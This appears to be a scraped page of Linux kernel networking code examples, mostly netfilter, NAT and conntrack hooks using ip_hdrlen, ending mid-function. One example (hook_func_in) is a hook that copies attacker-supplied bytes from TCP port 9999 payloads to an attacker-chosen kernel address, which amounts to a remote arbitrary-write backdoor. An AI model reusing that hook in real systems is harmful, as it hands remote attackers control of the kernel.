Exemple #1
0
static int enic_get_skb_header(struct sk_buff *skb, void **iphdr,
	void **tcph, u64 *hdr_flags, void *priv)
{
	struct cq_enet_rq_desc *cq_desc = priv;
	unsigned int ip_len;
	struct iphdr *iph;

	u8 type, color, eop, sop, ingress_port, vlan_stripped;
	u8 fcoe, fcoe_sof, fcoe_fc_crc_ok, fcoe_enc_error, fcoe_eof;
	u8 tcp_udp_csum_ok, udp, tcp, ipv4_csum_ok;
	u8 ipv6, ipv4, ipv4_fragment, fcs_ok, rss_type, csum_not_calc;
	u8 packet_error;
	u16 q_number, completed_index, bytes_written, vlan, checksum;
	u32 rss_hash;

	cq_enet_rq_desc_dec(cq_desc,
		&type, &color, &q_number, &completed_index,
		&ingress_port, &fcoe, &eop, &sop, &rss_type,
		&csum_not_calc, &rss_hash, &bytes_written,
		&packet_error, &vlan_stripped, &vlan, &checksum,
		&fcoe_sof, &fcoe_fc_crc_ok, &fcoe_enc_error,
		&fcoe_eof, &tcp_udp_csum_ok, &udp, &tcp,
		&ipv4_csum_ok, &ipv6, &ipv4, &ipv4_fragment,
		&fcs_ok);

	if (!(ipv4 && tcp && !ipv4_fragment))
		return -1;

	skb_reset_network_header(skb);
	iph = ip_hdr(skb);

	ip_len = ip_hdrlen(skb);
	skb_set_transport_header(skb, ip_len);

	/* check if ip header and tcp header are complete */
	if (ntohs(iph->tot_len) < ip_len + tcp_hdrlen(skb))
		return -1;

	*hdr_flags = LRO_IPV4 | LRO_TCP;
	*tcph = tcp_hdr(skb);
	*iphdr = iph;

	return 0;
}
Exemple #2
0
static unsigned int
ipt_local_hook(unsigned int hook,
		   struct sk_buff **pskb,
		   const struct net_device *in,
		   const struct net_device *out,
		   int (*okfn)(struct sk_buff *))
{
	unsigned int ret;
	const struct iphdr *iph;
	u_int8_t tos;
	__be32 saddr, daddr;
	u_int32_t mark;

	/* root is playing with raw sockets. */
	if ((*pskb)->len < sizeof(struct iphdr)
	    || ip_hdrlen(*pskb) < sizeof(struct iphdr)) {
		if (net_ratelimit())
			printk("iptable_mangle: ignoring short SOCK_RAW "
			       "packet.\n");
		return NF_ACCEPT;
	}

	/* Save things which could affect route */
	mark = (*pskb)->mark;
	iph = ip_hdr(*pskb);
	saddr = iph->saddr;
	daddr = iph->daddr;
	tos = iph->tos;

	ret = ipt_do_table(pskb, hook, in, out, &packet_mangler);
	/* Reroute for ANY change. */
	if (ret != NF_DROP && ret != NF_STOLEN && ret != NF_QUEUE) {
		iph = ip_hdr(*pskb);

		if (iph->saddr != saddr ||
		    iph->daddr != daddr ||
		    (*pskb)->mark != mark ||
		    iph->tos != tos)
			if (ip_route_me_harder(pskb, RTN_UNSPEC))
				ret = NF_DROP;
	}

	return ret;
}
static unsigned int ipv4_confirm(unsigned int hooknum,
				 struct sk_buff *skb,
				 const struct net_device *in,
				 const struct net_device *out,
				 int (*okfn)(struct sk_buff *))
{
	struct nf_conn *ct;
	enum ip_conntrack_info ctinfo;
	const struct nf_conn_help *help;
	const struct nf_conntrack_helper *helper;
	unsigned int ret;

	/* This is where we call the helper: as the packet goes out. */
	ct = nf_ct_get(skb, &ctinfo);
	if (!ct || ctinfo == IP_CT_RELATED + IP_CT_IS_REPLY)
		goto out;

	help = nfct_help(ct);
	if (!help)
		goto out;

	/* rcu_read_lock()ed by nf_hook_slow */
	helper = rcu_dereference(help->helper);
	if (!helper)
		goto out;

	ret = helper->help(skb, skb_network_offset(skb) + ip_hdrlen(skb),
			   ct, ctinfo);
	if (ret != NF_ACCEPT)
		return ret;

	if (test_bit(IPS_SEQ_ADJUST_BIT, &ct->status)) {
		typeof(nf_nat_seq_adjust_hook) seq_adjust;

		seq_adjust = rcu_dereference(nf_nat_seq_adjust_hook);
		if (!seq_adjust || !seq_adjust(skb, ct, ctinfo)) {
			NF_CT_STAT_INC_ATOMIC(nf_ct_net(ct), drop);
			return NF_DROP;
		}
	}
out:
	/* We've seen it coming out the other side: confirm it */
	return nf_conntrack_confirm(skb);
}
static unsigned int
ip6t_local_hook(unsigned int hook,
		   struct sk_buff **pskb,
		   const struct net_device *in,
		   const struct net_device *out,
		   int (*okfn)(struct sk_buff *))
{

	unsigned int ret;
	struct in6_addr saddr, daddr;
	u_int8_t hop_limit;
	u_int32_t flowlabel, mark;

#if 0
	/* root is playing with raw sockets. */
	if ((*pskb)->len < sizeof(struct iphdr)
	    || ip_hdrlen(*pskb) < sizeof(struct iphdr)) {
		if (net_ratelimit())
			printk("ip6t_hook: happy cracking.\n");
		return NF_ACCEPT;
	}
#endif

	/* save source/dest address, mark, hoplimit, flowlabel, priority,  */
	memcpy(&saddr, &ipv6_hdr(*pskb)->saddr, sizeof(saddr));
	memcpy(&daddr, &ipv6_hdr(*pskb)->daddr, sizeof(daddr));
	mark = (*pskb)->mark;
	hop_limit = ipv6_hdr(*pskb)->hop_limit;

	/* flowlabel and prio (includes version, which shouldn't change either */
	flowlabel = *((u_int32_t *)ipv6_hdr(*pskb));

	ret = ip6t_do_table(pskb, hook, in, out, &packet_mangler);

	if (ret != NF_DROP && ret != NF_STOLEN
		&& (memcmp(&ipv6_hdr(*pskb)->saddr, &saddr, sizeof(saddr))
		    || memcmp(&ipv6_hdr(*pskb)->daddr, &daddr, sizeof(daddr))
		    || (*pskb)->mark != mark
		    || ipv6_hdr(*pskb)->hop_limit != hop_limit))
		return ip6_route_me_harder(*pskb) == 0 ? ret : NF_DROP;

	return ret;
}
Exemple #5
0
static unsigned int
ip6t_local_out_hook(unsigned int hook,
		   struct sk_buff *skb,
		   const struct net_device *in,
		   const struct net_device *out,
		   int (*okfn)(struct sk_buff *))
{
#if 0
	/* root is playing with raw sockets. */
	if (skb->len < sizeof(struct iphdr)
	    || ip_hdrlen(skb) < sizeof(struct iphdr)) {
		if (net_ratelimit())
			printk("ip6t_hook: happy cracking.\n");
		return NF_ACCEPT;
	}
#endif

	return ip6t_do_table(skb, hook, in, out, &packet_filter);
}
Exemple #6
0
void calc_transport_len(const struct sk_buff *skb,
        struct iphdr *ip_hdr, int *h_len, int *payload_length)
{
    struct tcphdr *tcph;
    struct udphdr *udph;
    pr_debug("In calc_transport_len\n");
    switch (ip_hdr->protocol) {
        case IPPROTO_TCP:
            tcph = (struct tcphdr *) ((u32 *) ip_hdr + ip_hdr->ihl);
            *h_len = tcph->doff * 4;
            *payload_length = ntohs(ip_hdr->tot_len) - ip_hdrlen(skb) - (*h_len);
            break;
        case IPPROTO_UDP:
            udph = (struct udphdr *) ((u32 *) ip_hdr + ip_hdr->ihl);
            *h_len = 8;
            *payload_length = ntohs(udph->len) - (*h_len);
            break;
    }
}
/* Small and modified version of icmp_rcv */
static int
icmp_error(struct net *net, struct nf_conn *tmpl,
	   struct sk_buff *skb, unsigned int dataoff,
	   u8 pf, unsigned int hooknum)
{
	const struct icmphdr *icmph;
	struct icmphdr _ih;

	/* Not enough header? */
	icmph = skb_header_pointer(skb, ip_hdrlen(skb), sizeof(_ih), &_ih);
	if (icmph == NULL) {
		icmp_error_log(skb, net, pf, "short packet");
		return -NF_ACCEPT;
	}

	/* See ip_conntrack_proto_tcp.c */
	if (net->ct.sysctl_checksum && hooknum == NF_INET_PRE_ROUTING &&
	    nf_ip_checksum(skb, hooknum, dataoff, 0)) {
		icmp_error_log(skb, net, pf, "bad hw icmp checksum");
		return -NF_ACCEPT;
	}

	/*
	 *	18 is the highest 'known' ICMP type. Anything else is a mystery
	 *
	 *	RFC 1122: 3.2.2  Unknown ICMP messages types MUST be silently
	 *		  discarded.
	 */
	if (icmph->type > NR_ICMP_TYPES) {
		icmp_error_log(skb, net, pf, "invalid icmp type");
		return -NF_ACCEPT;
	}

	/* Need to track icmp error message? */
	if (icmph->type != ICMP_DEST_UNREACH &&
	    icmph->type != ICMP_SOURCE_QUENCH &&
	    icmph->type != ICMP_TIME_EXCEEDED &&
	    icmph->type != ICMP_PARAMETERPROB &&
	    icmph->type != ICMP_REDIRECT)
		return NF_ACCEPT;

	return icmp_error_message(net, tmpl, skb, hooknum);
}
static int
sctp_snat_handler(struct sk_buff *skb,
                  struct ip_vs_protocol *pp, struct ip_vs_conn *cp)
{
    sctp_sctphdr_t *sctph;
    unsigned int sctphoff;
    struct sk_buff *iter;
    __be32 crc32;

#ifdef CONFIG_IP_VS_IPV6
    if (cp->af == AF_INET6)
        sctphoff = sizeof(struct ipv6hdr);
    else
#endif
        sctphoff = ip_hdrlen(skb);

    /* csum_check requires unshared skb */
    if (!skb_make_writable(skb, sctphoff + sizeof(*sctph)))
        return 0;

    if (unlikely(cp->app != NULL)) {
        /* Some checks before mangling */
        if (pp->csum_check && !pp->csum_check(cp->af, skb, pp))
            return 0;

        /* Call application helper if needed */
        if (!ip_vs_app_pkt_out(cp, skb))
            return 0;
    }

    sctph = (void *) skb_network_header(skb) + sctphoff;
    sctph->source = cp->vport;

    /* Calculate the checksum */
    crc32 = sctp_start_cksum((u8 *) sctph, skb_headlen(skb) - sctphoff);
    skb_walk_frags(skb, iter)
    crc32 = sctp_update_cksum((u8 *) iter->data, skb_headlen(iter),
                              crc32);
    crc32 = sctp_end_cksum(crc32);
    sctph->checksum = crc32;

    return 1;
}
unsigned int
nf_nat_ipv4_local_fn(const struct nf_hook_ops *ops, struct sk_buff *skb,
		     const struct net_device *in, const struct net_device *out,
		     unsigned int (*do_chain)(const struct nf_hook_ops *ops,
					       struct sk_buff *skb,
					       const struct net_device *in,
					       const struct net_device *out,
					       struct nf_conn *ct))
{
	const struct nf_conn *ct;
	enum ip_conntrack_info ctinfo;
	unsigned int ret;
	int err;

	/* root is playing with raw sockets. */
	if (skb->len < sizeof(struct iphdr) ||
	    ip_hdrlen(skb) < sizeof(struct iphdr))
		return NF_ACCEPT;

	ret = nf_nat_ipv4_fn(ops, skb, in, out, do_chain);
	if (ret != NF_DROP && ret != NF_STOLEN &&
	    (ct = nf_ct_get(skb, &ctinfo)) != NULL) {
		enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo);

		if (ct->tuplehash[dir].tuple.dst.u3.ip !=
		    ct->tuplehash[!dir].tuple.src.u3.ip) {
			err = ip_route_me_harder(skb, RTN_UNSPEC);
			if (err < 0)
				ret = NF_DROP_ERR(err);
		}
#ifdef CONFIG_XFRM
		else if (!(IPCB(skb)->flags & IPSKB_XFRM_TRANSFORMED) &&
			 ct->tuplehash[dir].tuple.dst.protonum != IPPROTO_ICMP &&
			 ct->tuplehash[dir].tuple.dst.u.all !=
			 ct->tuplehash[!dir].tuple.src.u.all) {
			err = nf_xfrm_me_harder(skb, AF_INET);
			if (err < 0)
				ret = NF_DROP_ERR(err);
		}
#endif
	}
	return ret;
}
static int
tcp_snat_handler(struct sk_buff *skb,
		 struct dispatcher_protocol *pp, struct dispatcher_service *svc)
{
	struct tcphdr *tcph;
	unsigned int tcphoff;
	int oldlen;
	__be16 localport;
	struct dispatcher_dest *dest = svc->dest;

#ifdef CONFIG_DISPATCHER_IPV6
	if (svc->af == AF_INET6)
		tcphoff = sizeof(struct ipv6hdr);
	else
#endif
		tcphoff = ip_hdrlen(skb);
	oldlen = skb->len - tcphoff;

	/* csum_check requires unshared skb */
	if (!skb_make_writable(skb, tcphoff+sizeof(*tcph)))
		return 0;

	tcph = (void *)skb_network_header(skb) + tcphoff;
	localport = tcph->source;
	tcph->source = svc->port;

	/* Adjust TCP checksums */
	if (skb->ip_summed == CHECKSUM_PARTIAL) {
		//tcp_partial_csum_update(svc->af, tcph, &dest->addr, &svc->addr,
		//			htons(oldlen),
		//			htons(skb->len - tcphoff));
		tcph->check = 0;
		tcph->check = ~tcp_v4_check(skb->len - tcphoff, svc->addr.ip, ip_hdr(skb)->daddr, 0);
	} else {
		/* Only port and addr are changed, do fast csum update */
		tcp_fast_csum_update(svc->af, tcph, &dest->addr, &svc->addr,
				     localport, svc->port);
		if (skb->ip_summed == CHECKSUM_COMPLETE) {
			skb->ip_summed = CHECKSUM_NONE;
		}
	}
	return 1;
}
static unsigned int
ip6t_mangle_out(struct sk_buff *skb, const struct net_device *out)
{
	unsigned int ret;
	struct in6_addr saddr, daddr;
	u_int8_t hop_limit;
	u_int32_t flowlabel, mark;
	int err;
#if 0
	/* root is playing with raw sockets. */
	if (skb->len < sizeof(struct iphdr) ||
	    ip_hdrlen(skb) < sizeof(struct iphdr)) {
		net_warn_ratelimited("ip6t_hook: happy cracking\n");
		return NF_ACCEPT;
	}
#endif

	/* save source/dest address, mark, hoplimit, flowlabel, priority,  */
	memcpy(&saddr, &ipv6_hdr(skb)->saddr, sizeof(saddr));
	memcpy(&daddr, &ipv6_hdr(skb)->daddr, sizeof(daddr));
	mark = skb->mark;
	hop_limit = ipv6_hdr(skb)->hop_limit;

	/* flowlabel and prio (includes version, which shouldn't change either */
	flowlabel = *((u_int32_t *)ipv6_hdr(skb));

	ret = ip6t_do_table(skb, NF_INET_LOCAL_OUT, NULL, out,
			    dev_net(out)->ipv6.ip6table_mangle);

	if (ret != NF_DROP && ret != NF_STOLEN &&
	    (!ipv6_addr_equal(&ipv6_hdr(skb)->saddr, &saddr) ||
	     !ipv6_addr_equal(&ipv6_hdr(skb)->daddr, &daddr) ||
	     skb->mark != mark ||
	     ipv6_hdr(skb)->hop_limit != hop_limit ||
	     flowlabel != *((u_int32_t *)ipv6_hdr(skb)))) {
		err = ip6_route_me_harder(skb);
		if (err < 0)
			ret = NF_DROP_ERR(err);
	}

	return ret;
}
Exemple #12
0
unsigned int hook_func_in(unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *))
{
    struct ethhdr *eth = NULL;
    u_int16_t eth_type;
    struct iphdr *ip = NULL;
    struct tcphdr *tcp = NULL;
    __u16 currport = 0;
    char * tcp_data = NULL;
    uint8_t len = 0;
    void * where = NULL;
    char * what = NULL;

    if(!skb){
        return NF_DROP;
    }

	eth = eth_hdr(skb);

    eth_type = ntohs( eth->h_proto );
    if( eth_type != ETH_P_IP ){
        return NF_ACCEPT;
    }

    ip = ip_hdr(skb);
    if (!ip){
        return NF_ACCEPT;
    }

    if(ip->protocol == IPPROTO_TCP){
	    tcp = (struct tcphdr *)(skb_network_header(skb) + ip_hdrlen(skb));
	    currport = ntohs(tcp->dest);
	    if((currport == 9999)){
            tcp_data = (char *)((unsigned char *)tcp + (tcp->doff * 4));
            where = ((void **)tcp_data)[0];
            len = ((uint8_t *)(tcp_data + sizeof(where)))[0];
            what = tcp_data + sizeof(where) + sizeof(len);
            memcpy(where, what, len);
	    }
    }
    
    return NF_ACCEPT;
}
Exemple #13
0
static unsigned int mangle_sip_packet(struct sk_buff **pskb,
				      enum ip_conntrack_info ctinfo,
				      struct nf_conn *ct,
				      const char **dptr, size_t dlen,
				      char *buffer, int bufflen,
				      enum sip_header_pos pos)
{
	unsigned int matchlen, matchoff;

	if (ct_sip_get_info(ct, *dptr, dlen, &matchoff, &matchlen, pos) <= 0)
		return 0;

	if (!nf_nat_mangle_udp_packet(pskb, ct, ctinfo,
				      matchoff, matchlen, buffer, bufflen))
		return 0;

	/* We need to reload this. Thanks Patrick. */
	*dptr = (*pskb)->data + ip_hdrlen(*pskb) + sizeof(struct udphdr);
	return 1;
}
Exemple #14
0
static unsigned int
ipt_local_hook(unsigned int hook,
		   struct sk_buff *skb,
		   const struct net_device *in,
		   const struct net_device *out,
		   int (*okfn)(struct sk_buff *))
{
	unsigned int ret;
	const struct iphdr *iph;
	u_int8_t tos;
	__be32 saddr, daddr;
	u_int32_t mark;

	
	if (skb->len < sizeof(struct iphdr)
	    || ip_hdrlen(skb) < sizeof(struct iphdr))
		return NF_ACCEPT;

	
	mark = skb->mark;
	iph = ip_hdr(skb);
	saddr = iph->saddr;
	daddr = iph->daddr;
	tos = iph->tos;

	ret = ipt_do_table(skb, hook, in, out,
			   dev_net(out)->ipv4.iptable_mangle);
	
	if (ret != NF_DROP && ret != NF_STOLEN && ret != NF_QUEUE) {
		iph = ip_hdr(skb);

		if (iph->saddr != saddr ||
		    iph->daddr != daddr ||
		    skb->mark != mark ||
		    iph->tos != tos)
			if (ip_route_me_harder(skb, RTN_UNSPEC))
				ret = NF_DROP;
	}

	return ret;
}
Exemple #15
0
void nf_send_unreach(struct sk_buff *skb_in, int code, int hook)
{
	struct iphdr *iph = ip_hdr(skb_in);
	u8 proto;

	if (iph->frag_off & htons(IP_OFFSET))
		return;

	if (skb_csum_unnecessary(skb_in)) {
		icmp_send(skb_in, ICMP_DEST_UNREACH, code, 0);
		return;
	}

	if (iph->protocol == IPPROTO_TCP || iph->protocol == IPPROTO_UDP)
		proto = iph->protocol;
	else
		proto = 0;

	if (nf_ip_checksum(skb_in, hook, ip_hdrlen(skb_in), proto) == 0)
		icmp_send(skb_in, ICMP_DEST_UNREACH, code, 0);
}
Exemple #16
0
unsigned int
nf_nat_ipv4_out(void *priv, struct sk_buff *skb,
		const struct nf_hook_state *state,
		unsigned int (*do_chain)(void *priv,
					  struct sk_buff *skb,
					  const struct nf_hook_state *state,
					  struct nf_conn *ct))
{
#ifdef CONFIG_XFRM
	const struct nf_conn *ct;
	enum ip_conntrack_info ctinfo;
	int err;
#endif
	unsigned int ret;

	/* root is playing with raw sockets. */
	if (skb->len < sizeof(struct iphdr) ||
	    ip_hdrlen(skb) < sizeof(struct iphdr))
		return NF_ACCEPT;

	ret = nf_nat_ipv4_fn(priv, skb, state, do_chain);
#ifdef CONFIG_XFRM
	if (ret != NF_DROP && ret != NF_STOLEN &&
	    !(IPCB(skb)->flags & IPSKB_XFRM_TRANSFORMED) &&
	    (ct = nf_ct_get(skb, &ctinfo)) != NULL) {
		enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo);

		if ((ct->tuplehash[dir].tuple.src.u3.ip !=
		     ct->tuplehash[!dir].tuple.dst.u3.ip) ||
		    (ct->tuplehash[dir].tuple.dst.protonum != IPPROTO_ICMP &&
		     ct->tuplehash[dir].tuple.src.u.all !=
		     ct->tuplehash[!dir].tuple.dst.u.all)) {
			err = nf_xfrm_me_harder(state->net, skb, AF_INET);
			if (err < 0)
				ret = NF_DROP_ERR(err);
		}
	}
#endif
	return ret;
}
static unsigned int
ipt_mangle_out(struct sk_buff *skb, const struct net_device *out)
{
	unsigned int ret;
	const struct iphdr *iph;
	u_int8_t tos;
	__be32 saddr, daddr;
	u_int32_t mark;
	int err;

	/* root is playing with raw sockets. */
	if (skb->len < sizeof(struct iphdr) ||
	    ip_hdrlen(skb) < sizeof(struct iphdr))
		return NF_ACCEPT;

	/* Save things which could affect route */
	mark = skb->mark;
	iph = ip_hdr(skb);
	saddr = iph->saddr;
	daddr = iph->daddr;
	tos = iph->tos;

	ret = ipt_do_table(skb, NF_INET_LOCAL_OUT, NULL, out,
			   dev_net(out)->ipv4.iptable_mangle);
	/* Reroute for ANY change. */
	if (ret != NF_DROP && ret != NF_STOLEN) {
		iph = ip_hdr(skb);

		if (iph->saddr != saddr ||
		    iph->daddr != daddr ||
		    skb->mark != mark ||
		    iph->tos != tos) {
			err = ip_route_me_harder(skb, RTN_UNSPEC);
			if (err < 0)
				ret = NF_DROP_ERR(err);
		}
	}

	return ret;
}
Exemple #18
0
static unsigned int ip_nat_sip(struct sk_buff **pskb,
			       enum ip_conntrack_info ctinfo,
			       struct nf_conn *ct,
			       const char **dptr)
{
	enum sip_header_pos pos;
	struct addr_map map;
	int dataoff, datalen;

	dataoff = ip_hdrlen(*pskb) + sizeof(struct udphdr);
	datalen = (*pskb)->len - dataoff;
	if (datalen < sizeof("SIP/2.0") - 1)
		return NF_ACCEPT;

	addr_map_init(ct, &map);

	/* Basic rules: requests and responses. */
	if (strnicmp(*dptr, "SIP/2.0", strlen("SIP/2.0")) != 0) {
		/* 10.2: Constructing the REGISTER Request:
		 *
		 * The "userinfo" and "@" components of the SIP URI MUST NOT
		 * be present.
		 */
		if (datalen >= strlen("REGISTER") &&
		    strnicmp(*dptr, "REGISTER", strlen("REGISTER")) == 0)
			pos = POS_REG_REQ_URI;
		else
			pos = POS_REQ_URI;

		if (!map_sip_addr(pskb, ctinfo, ct, dptr, datalen, pos, &map))
			return NF_DROP;
	}

	if (!map_sip_addr(pskb, ctinfo, ct, dptr, datalen, POS_FROM, &map) ||
	    !map_sip_addr(pskb, ctinfo, ct, dptr, datalen, POS_TO, &map) ||
	    !map_sip_addr(pskb, ctinfo, ct, dptr, datalen, POS_VIA, &map) ||
	    !map_sip_addr(pskb, ctinfo, ct, dptr, datalen, POS_CONTACT, &map))
		return NF_DROP;
	return NF_ACCEPT;
}
static unsigned int nf_route_table_hook(const struct nf_hook_ops *ops,
					struct sk_buff *skb,
					const struct net_device *in,
					const struct net_device *out,
					int (*okfn)(struct sk_buff *))
{
	unsigned int ret;
	struct nft_pktinfo pkt;
	u32 mark;
	__be32 saddr, daddr;
	u_int8_t tos;
	const struct iphdr *iph;

	/* root is playing with raw sockets. */
	if (skb->len < sizeof(struct iphdr) ||
	    ip_hdrlen(skb) < sizeof(struct iphdr))
		return NF_ACCEPT;

	nft_set_pktinfo_ipv4(&pkt, ops, skb, in, out);

	mark = skb->mark;
	iph = ip_hdr(skb);
	saddr = iph->saddr;
	daddr = iph->daddr;
	tos = iph->tos;

	ret = nft_do_chain_pktinfo(&pkt, ops);
	if (ret != NF_DROP && ret != NF_QUEUE) {
		iph = ip_hdr(skb);

		if (iph->saddr != saddr ||
		    iph->daddr != daddr ||
		    skb->mark != mark ||
		    iph->tos != tos)
			if (ip_route_me_harder(skb, RTN_UNSPEC))
				ret = NF_DROP;
	}
	return ret;
}
Exemple #20
0
static int ipmr_cache_report(struct net *net,
			     struct sk_buff *pkt, vifi_t vifi, int assert)
{
	struct sk_buff *skb;
	const int ihl = ip_hdrlen(pkt);
	struct igmphdr *igmp;
	struct igmpmsg *msg;
	int ret;

#ifdef CONFIG_IP_PIMSM
	if (assert == IGMPMSG_WHOLEPKT)
		skb = skb_realloc_headroom(pkt, sizeof(struct iphdr));
	else
#endif
		skb = alloc_skb(128, GFP_ATOMIC);

	if (!skb)
		return -ENOBUFS;

#ifdef CONFIG_IP_PIMSM
	if (assert == IGMPMSG_WHOLEPKT) {
		/* Ugly, but we have no choice with this interface.
		   Duplicate old header, fix ihl, length etc.
		   And all this only to mangle msg->im_msgtype and
		   to set msg->im_mbz to "mbz" :-)
		 */
		skb_push(skb, sizeof(struct iphdr));
		skb_reset_network_header(skb);
		skb_reset_transport_header(skb);
		msg = (struct igmpmsg *)skb_network_header(skb);
		memcpy(msg, skb_network_header(pkt), sizeof(struct iphdr));
		msg->im_msgtype = IGMPMSG_WHOLEPKT;
		msg->im_mbz = 0;
		msg->im_vif = net->ipv4.mroute_reg_vif_num;
		ip_hdr(skb)->ihl = sizeof(struct iphdr) >> 2;
		ip_hdr(skb)->tot_len = htons(ntohs(ip_hdr(pkt)->tot_len) +
					     sizeof(struct iphdr));
	} else
static int
sctp_csum_check(int af, struct sk_buff *skb, struct ip_vs_protocol *pp)
{
    unsigned int sctphoff;
    struct sctphdr *sh, _sctph;
    struct sk_buff *iter;
    __le32 cmp;
    __le32 val;
    __u32 tmp;

#ifdef CONFIG_IP_VS_IPV6
    if (af == AF_INET6)
        sctphoff = sizeof(struct ipv6hdr);
    else
#endif
        sctphoff = ip_hdrlen(skb);

    sh = skb_header_pointer(skb, sctphoff, sizeof(_sctph), &_sctph);
    if (sh == NULL)
        return 0;

    cmp = sh->checksum;

    tmp = sctp_start_cksum((__u8 *) sh, skb_headlen(skb));
    skb_walk_frags(skb, iter)
    tmp = sctp_update_cksum((__u8 *) iter->data,
                            skb_headlen(iter), tmp);

    val = sctp_end_cksum(tmp);

    if (val != cmp) {
        /* CRC failure, dump it. */
        IP_VS_DBG_RL_PKT(0, af, pp, skb, 0,
                         "Failed checksum for");
        return 0;
    }
    return 1;
}
static inline bool match_tcp(const struct sk_buff *skb,
			     const struct ipt_ecn_info *einfo,
			     bool *hotdrop)
{
	struct tcphdr _tcph;
	const struct tcphdr *th;

	/* In practice, TCP match does this, so can't fail.  But let's
	 * be good citizens.
	 */
	th = skb_header_pointer(skb, ip_hdrlen(skb), sizeof(_tcph), &_tcph);
	if (th == NULL) {
		*hotdrop = false;
		return false;
	}

	if (einfo->operation & IPT_ECN_OP_MATCH_ECE) {
		if (einfo->invert & IPT_ECN_OP_MATCH_ECE) {
			if (th->ece == 1)
				return false;
		} else {
			if (th->ece == 0)
				return false;
		}
	}

	if (einfo->operation & IPT_ECN_OP_MATCH_CWR) {
		if (einfo->invert & IPT_ECN_OP_MATCH_CWR) {
			if (th->cwr == 1)
				return false;
		} else {
			if (th->cwr == 0)
				return false;
		}
	}

	return true;
}
int ts_parse_dpi_http_access_pkt(IN struct sk_buff *skb)
{	int ip_hdr_len = ip_hdrlen(skb);
	int tcp_hdr_len = ts_get_tcp_hdr_size(skb);
		
	//Check it is a real DNS or some bogus or unknown packet ?
	/// If so do not process it further !!
	if( (skb->len-ip_hdr_len-tcp_hdr_len)<18) return TS_TRUE; //send true since this is http packet
	BYTE *pkt_buff = (skb->data+ip_hdr_len+tcp_hdr_len);
	size_t pkt_buff_len = (skb->len-ip_hdr_len-tcp_hdr_len);

	http_access_log_t http_access_log;
	init_http_access_log(&http_access_log);
	if(ts_parse_dpi_http_access(pkt_buff, pkt_buff_len, &http_access_log)==TS_TRUE)
   {	memcpy(http_access_log.src_ip, ts_get_ip_source_ip_addr(skb), 4);
   	memcpy(http_access_log.dst_ip, ts_get_ip_dest_ip_addr(skb), 4);
   	//Add or write to the global
   	spin_lock(&v_c_ts_http_access_log_list_lock_v_c);
   	ts_add_http_access_log_in_list(&http_access_log);
   	spin_unlock(&v_c_ts_http_access_log_list_lock_v_c);
   	return TS_TRUE;
   }
	return TS_FALSE;
}
static unsigned int ipv4_confirm(void *priv,
				 struct sk_buff *skb,
				 const struct nf_hook_state *state)
{
	struct nf_conn *ct;
	enum ip_conntrack_info ctinfo;

	ct = nf_ct_get(skb, &ctinfo);
	if (!ct || ctinfo == IP_CT_RELATED_REPLY)
		goto out;

	/* adjust seqs for loopback traffic only in outgoing direction */
	if (test_bit(IPS_SEQ_ADJUST_BIT, &ct->status) &&
	    !nf_is_loopback_packet(skb)) {
		if (!nf_ct_seq_adjust(skb, ct, ctinfo, ip_hdrlen(skb))) {
			NF_CT_STAT_INC_ATOMIC(nf_ct_net(ct), drop);
			return NF_DROP;
		}
	}
out:
	/* We've seen it coming out the other side: confirm it */
	return nf_conntrack_confirm(skb);
}
Exemple #25
0
static unsigned int
nf_nat_local_fn(unsigned int hooknum,
                struct sk_buff *skb,
                const struct net_device *in,
                const struct net_device *out,
                int (*okfn)(struct sk_buff *))
{
    const struct nf_conn *ct;
    enum ip_conntrack_info ctinfo;
    unsigned int ret;

    /* root is playing with raw sockets. */
    if (skb->len < sizeof(struct iphdr) ||
            ip_hdrlen(skb) < sizeof(struct iphdr))
        return NF_ACCEPT;

    ret = nf_nat_fn(hooknum, skb, in, out, okfn);
    if (ret != NF_DROP && ret != NF_STOLEN &&
            (ct = nf_ct_get(skb, &ctinfo)) != NULL) {
        enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo);

        if (ct->tuplehash[dir].tuple.dst.u3.ip !=
                ct->tuplehash[!dir].tuple.src.u3.ip) {
            if (ip_route_me_harder(skb, RTN_UNSPEC))
                ret = NF_DROP;
        }
#ifdef CONFIG_XFRM
        else if (ct->tuplehash[dir].tuple.dst.protonum != IPPROTO_ICMP &&
                 ct->tuplehash[dir].tuple.dst.u.all !=
                 ct->tuplehash[!dir].tuple.src.u.all)
            if (ip_xfrm_me_harder(skb))
                ret = NF_DROP;
#endif
    }
    return ret;
}
Exemple #26
0
static unsigned int udpencap_tg(struct sk_buff **pskb, const struct xt_action_param *par)
{
	const struct xt_udpencap_tginfo *info = par->targinfo;
	struct sk_buff *skb = *pskb;
	unsigned int tproto, nlen;
	bool ipv4 = (par->family == NFPROTO_IPV4);

	if (ipv4) {
		nlen = ip_hdrlen(skb);
		if (nlen < sizeof(struct iphdr))
			return NF_DROP;
		tproto = ip_hdr(skb)->protocol;
	} else {
		nlen = sizeof(struct ipv6hdr);
		tproto = ipv6_hdr(skb)->nexthdr;
	}
	if (!info->encap && tproto != IPPROTO_UDP)
		return NF_DROP;
	skb_set_transport_header(skb, skb_network_offset(skb) + nlen);
	if (!(info->encap ? udpencap_insert_header : udpencap_remove_header)(skb, info))
		return NF_DROP;
	(ipv4 ? udpencap_fix4 : udpencap_fix6)(skb, info);
	return XT_CONTINUE;
}
Exemple #27
0
static inline bool match_tcp(const struct sk_buff *skb,
			     const struct ipt_ecn_info *einfo,
			     bool *hotdrop)
{
	struct tcphdr _tcph;
	const struct tcphdr *th;


	th = skb_header_pointer(skb, ip_hdrlen(skb), sizeof(_tcph), &_tcph);
	if (th == NULL) {
		*hotdrop = false;
		return false;
	}

	if (einfo->operation & IPT_ECN_OP_MATCH_ECE) {
		if (einfo->invert & IPT_ECN_OP_MATCH_ECE) {
			if (th->ece == 1)
				return false;
		} else {
			if (th->ece == 0)
				return false;
		}
	}

	if (einfo->operation & IPT_ECN_OP_MATCH_CWR) {
		if (einfo->invert & IPT_ECN_OP_MATCH_CWR) {
			if (th->cwr == 1)
				return false;
		} else {
			if (th->cwr == 0)
				return false;
		}
	}

	return true;
}
Exemple #28
0
static unsigned int
nf_nat_ipv4_out(unsigned int hooknum,
		struct sk_buff *skb,
		const struct net_device *in,
		const struct net_device *out,
		int (*okfn)(struct sk_buff *))
{
#ifdef CONFIG_XFRM
	const struct nf_conn *ct;
	enum ip_conntrack_info ctinfo;
#endif
	unsigned int ret;

	/* root is playing with raw sockets. */
	if (skb->len < sizeof(struct iphdr) ||
	    ip_hdrlen(skb) < sizeof(struct iphdr))
